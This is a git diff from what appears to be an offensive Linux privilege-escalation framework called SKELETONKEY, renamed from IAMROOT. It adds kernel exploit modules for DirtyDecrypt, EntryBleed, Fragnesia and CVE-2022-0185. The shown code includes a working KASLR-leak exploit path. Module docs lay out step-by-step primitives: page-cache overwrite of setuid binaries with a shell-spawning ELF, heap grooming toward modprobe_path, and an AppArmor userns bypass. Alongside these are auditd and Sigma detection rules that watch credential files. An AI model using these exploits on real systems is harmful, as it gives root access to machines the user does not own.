switch (WEXITSTATUS(st)) {
|
||||
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- cleanup ------------------------------------------------------ */
|
||||
|
||||
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dd_verbose = !ctx->json;
|
||||
|
||||
char target[256] = {0};
|
||||
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
|
||||
if (sf >= 0) {
|
||||
ssize_t n = read(sf, target, sizeof(target) - 1);
|
||||
if (n > 0) target[n] = '\0';
|
||||
close(sf);
|
||||
}
|
||||
|
||||
if (target[0]) {
|
||||
LOG("evicting %s from page cache", target);
|
||||
dd_evict(target);
|
||||
unlink("/tmp/skeletonkey-dirtydecrypt.target");
|
||||
} else {
|
||||
LOG("no recorded target; evicting all candidate carriers");
|
||||
for (int i = 0; dd_targets[i]; i++)
|
||||
dd_evict(dd_targets[i]);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
|
||||
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- detection rules (embedded) ----------------------------------- */
|
||||
|
||||
static const char dd_auditd[] =
|
||||
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
|
||||
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
|
||||
"# Watches every payload carrier in dd_targets[] plus credential files.\n"
|
||||
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
|
||||
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
|
||||
"# rxrpc security keys added to the keyring\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
|
||||
"# splice() drives the page-cache pages into the forged DATA packet\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||
|
||||
static const char dd_sigma[] =
|
||||
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
|
||||
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
|
||||
" followed by modification of a setuid-root binary or /etc/passwd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/usr/bin/su', '/bin/su', '/usr/bin/mount',\n"
|
||||
" '/usr/bin/passwd', '/usr/bin/chsh', '/etc/passwd', '/etc/shadow']\n"
|
||||
" not_root:\n"
|
||||
" auid|expression: '!= 0'\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
|
||||
|
||||
const struct skeletonkey_module dirtydecrypt_module = {
|
||||
.name = "dirtydecrypt",
|
||||
.cve = "CVE-2026-31635",
|
||||
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
|
||||
.family = "dirtydecrypt",
|
||||
.kernel_range = "Linux 7.0 (vulnerable rxgk code added in 7.0); mainline fix commit a2567217 in 7.0",
|
||||
.detect = dd_detect,
|
||||
.exploit = dd_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = dd_cleanup,
|
||||
.detect_auditd = dd_auditd,
|
||||
.detect_sigma = dd_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirtydecrypt(void)
|
||||
{
|
||||
skeletonkey_register(&dirtydecrypt_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
|
||||
#endif
|
||||
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
|
||||
- Lift the proven EntryBleed code from
|
||||
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
||||
`module.c` here
|
||||
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
|
||||
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
|
||||
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
||||
- Detection rules: timing-attack pattern flags, perf-counter
|
||||
anomaly detection (informational — these are hard to make precise
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# NOTICE — entrybleed
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
|
||||
kernel base address (KASLR bypass).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
|
||||
|
||||
> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
|
||||
> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
|
||||
|
||||
Mainline status: no canonical patch — partial mitigations only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
This is a **stage-1 leak primitive**, not a standalone LPE. Other
|
||||
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
|
||||
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
|
||||
only; the `entry_SYSCALL_64` slot offset is configurable via the
|
||||
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
|
||||
+25
-25
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* entrybleed_cve_2023_0458 — IAMROOT module
|
||||
* entrybleed_cve_2023_0458 — SKELETONKEY module
|
||||
*
|
||||
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
||||
* timing side-channel that leaks the kernel base address.
|
||||
@@ -13,10 +13,10 @@
|
||||
* anti-EntryBleed mitigation = VULNERABLE.
|
||||
* - This module is also a LIBRARY: other modules that need a kbase
|
||||
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
||||
* directly (declared in iamroot_modules.h).
|
||||
* directly (declared in skeletonkey_modules.h).
|
||||
*
|
||||
* x86_64 only. On ARM64 / other arches, detect() returns
|
||||
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
|
||||
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
|
||||
*
|
||||
* For users who'd never go to USENIX (TLDR):
|
||||
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
||||
@@ -30,7 +30,7 @@
|
||||
* - Subtract its known offset from kbase → KASLR slide
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
|
||||
return 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
||||
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
||||
"leak yields plausible kbase 0x%lx\n", kbase);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
||||
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
||||
* offset doesn't match lts-6.12.x default (different kernel
|
||||
* build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
|
||||
* build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
|
||||
* timing is too noisy. Don't claim CONFIRMED. */
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
||||
"no /etc/passwd writes)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
|
||||
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
|
||||
unsigned long off = 0;
|
||||
if (off_env) {
|
||||
off = strtoul(off_env, NULL, 0);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||
}
|
||||
} else if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
||||
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
|
||||
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
|
||||
DEFAULT_ENTRY_OFF);
|
||||
}
|
||||
|
||||
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
||||
if (kbase == 0) {
|
||||
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->json) {
|
||||
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
||||
kbase - 0xffffffff81000000UL);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
#else /* not x86_64 */
|
||||
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
|
||||
return 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
||||
"different architecture\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
||||
static const char entrybleed_sigma[] =
|
||||
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
||||
"id: 7b3a48d1-iamroot-entrybleed\n"
|
||||
"id: 7b3a48d1-skeletonkey-entrybleed\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
||||
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
|
||||
"level: informational\n"
|
||||
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
||||
|
||||
const struct iamroot_module entrybleed_module = {
|
||||
const struct skeletonkey_module entrybleed_module = {
|
||||
.name = "entrybleed",
|
||||
.cve = "CVE-2023-0458",
|
||||
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
||||
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_entrybleed(void)
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
{
|
||||
iamroot_register(&entrybleed_module);
|
||||
skeletonkey_register(&entrybleed_module);
|
||||
}
|
||||
+4
-4
@@ -1,13 +1,13 @@
|
||||
/*
|
||||
* entrybleed_cve_2023_0458 — IAMROOT module registry hook
|
||||
* entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
|
||||
#define ENTRYBLEED_IAMROOT_MODULES_H
|
||||
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||
#define ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module entrybleed_module;
|
||||
extern const struct skeletonkey_module entrybleed_module;
|
||||
|
||||
/* Library entry point for other modules that need a kbase leak.
|
||||
* Returns the leaked kernel _text base on success, or 0 on failure
|
||||
@@ -0,0 +1,87 @@
|
||||
# fragnesia — CVE-2026-46300
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||
escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers — so the kernel forgets that a fragment is externally backed by
|
||||
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||
then decrypts in place, corrupting the page cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||
Fail / Dirty Frag, reached through a different code path.
|
||||
|
||||
## Primitive
|
||||
|
||||
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||
whose keystream byte XORs the current byte to the target.
|
||||
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||
target file into that TCP stream behind a crafted ESP prefix.
|
||||
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||
pages in place — one chosen byte per trigger.
|
||||
|
||||
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||
0 and `execve`s `/bin/sh`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||
(or chain a separate bypass). This is the scoping question the old
|
||||
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Port notes
|
||||
|
||||
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||
The exploit mechanism itself is reproduced faithfully.
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned**: the Fragnesia fix ships in
|
||||
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
|
||||
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
|
||||
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
|
||||
6.12) are currently still vulnerable per the tracker. With `--active`,
|
||||
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
|
||||
and reports empirically — catches stable-branch backports the version
|
||||
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
|
||||
primitive is structurally unreachable.
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a
|
||||
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
|
||||
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
|
||||
@@ -0,0 +1,48 @@
|
||||
# NOTICE — fragnesia
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers, so the kernel loses track of the fact that a fragment is
|
||||
externally backed by page-cache pages spliced in from a file. The
|
||||
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||
cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||
the candidate fix explicitly cites the Dirty Frag patch
|
||||
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||
made a previously latent flaw practically exploitable.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **William Bowling** with the **V12 security** team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||
192-byte ELF payload — is reproduced from that PoC.
|
||||
|
||||
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||
**not** carried over — it is incompatible with running as one module
|
||||
among many under a shared dispatcher. Progress is reported with
|
||||
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||
support, and the embedded detection rules. Research credit belongs to
|
||||
the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||
module — see `MODULE.md`.
|
||||
@@ -0,0 +1,31 @@
|
||||
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||
#
|
||||
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||
# read-only file. These rules flag the syscall surface the exploit
|
||||
# drives and writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||
|
||||
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||
|
||||
# XFRM state setup over NETLINK_XFRM
|
||||
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||
|
||||
# TCP_ULP espintcp + ESP setsockopt surface
|
||||
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||
|
||||
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||
@@ -0,0 +1,30 @@
|
||||
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||
id: 9b3d2e71-skeletonkey-fragnesia
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the Fragnesia XFRM
|
||||
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||
of a setuid-root binary or credential file, typically inside a
|
||||
freshly created user + network namespace.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.46300
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
|
||||
#define FRAGNESIA_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module fragnesia_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,32 @@
|
||||
# NOTICE — fuse_legacy (CVE-2022-0185)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-0185** — `legacy_parse_param` in fsconfig() doesn't validate
|
||||
`PAGE_SIZE` against the running `fs_context`'s key/value length →
|
||||
4 KB heap OOB write → cross-cache UAF → cred overwrite from a
|
||||
rootless container.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **William Liu** + **Jamie Hill-Daniel**
|
||||
(Crusaders of Rust), January 2022.
|
||||
|
||||
Original writeup: <https://www.willsroot.io/2022/01/cve-2022-0185.html>
|
||||
Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
|
||||
|
||||
Upstream fix: mainline 5.16.2 (Jan 2022).
|
||||
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+mountns reach, `fsopen("cgroup2")` + double
|
||||
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
|
||||
msg_msg cross-cache groom in kmalloc-4k. MSG_COPY read-back detects
|
||||
whether the OOB landed in an adjacent neighbour — the sanity gate
|
||||
that prevents fake-success claims.
|
||||
|
||||
`--full-chain` extends with forged m_list/m_ts overflow toward
|
||||
modprobe_path via the shared finisher.
|
||||
|
||||
**Container-escape angle** — relevant to rootless docker/podman/snap.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
|
||||
#define FUSE_LEGACY_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module fuse_legacy_module;
|
||||
|
||||
#endif
|
||||
+103
-88
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* fuse_legacy_cve_2022_0185 — IAMROOT module
|
||||
* fuse_legacy_cve_2022_0185 — SKELETONKEY module
|
||||
*
|
||||
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
|
||||
* parsing the "fsconfig" filesystem option strings — specifically,
|
||||
@@ -38,7 +38,7 @@
|
||||
*
|
||||
* On a *patched* host (which is every host we can routinely build
|
||||
* on in 2026) detect() refuses and exploit() returns
|
||||
* IAMROOT_PRECOND_FAIL with no syscalls.
|
||||
* SKELETONKEY_PRECOND_FAIL with no syscalls.
|
||||
*
|
||||
* Affected: kernel 5.1+ until fix:
|
||||
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
|
||||
@@ -57,17 +57,23 @@
|
||||
* is enabled.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
